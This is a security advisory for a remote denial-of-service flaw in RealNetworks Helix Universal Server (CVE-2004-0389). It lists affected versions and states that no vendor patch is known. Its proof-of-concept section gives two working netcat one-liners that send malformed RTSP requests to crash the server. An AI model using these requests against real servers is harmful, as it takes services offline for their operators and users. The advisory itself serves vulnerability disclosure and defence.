Real Networks Helix Universal Server Denial of Service Vulnerability

BID:10157

Info

Real Networks Helix Universal Server Denial of Service Vulnerability

Bugtraq ID: 10157
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2004-0389
Remote: Yes
Local: No
Published: Apr 15 2004 12:00AM
Updated: Jul 12 2009 04:06AM
Credit: The individual responsible for the discovery of this issue is currently unknown.
Vulnerable: RealNetworks Helix Universal Server 9.0.4 .958
RealNetworks Helix Universal Server 9.0.2 .881
RealNetworks Helix Universal Server 9.0.2 .802
RealNetworks Helix Universal Server 9.0.2 .794
RealNetworks Helix Universal Server 9.0 1
RealNetworks Helix Universal Mobile Server 10.3.1 .716
RealNetworks Helix Universal Mobile Server 10.1.1 .120
RealNetworks Helix Universal Mobile Gateway 10.3.1 .716
RealNetworks Helix Universal Mobile Gateway 10.1.1 .120
Not Vulnerable:

Discussion

Real Networks Helix Universal Server Denial of Service Vulnerability

It has been reported that Real Networks Helix Universal Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to properly handle malformed RTSP (Real-Time Streaming Protocol) requests.

An attacker may leverage this issue to trigger a denial of service condition in the affected server.

Exploit / POC

Real Networks Helix Universal Server Denial of Service Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

$ echo -e "GET_PARAMETER / RTSP/1.0\n\n" | nc -v localhost 554
$ echo -e "DESCRIBE / RTSP/1.0\nSession:\n\n" | nc -v localhost 554

Solution / Fix

Real Networks Helix Universal Server Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Real Networks Helix Universal Server Denial of Service Vulnerability

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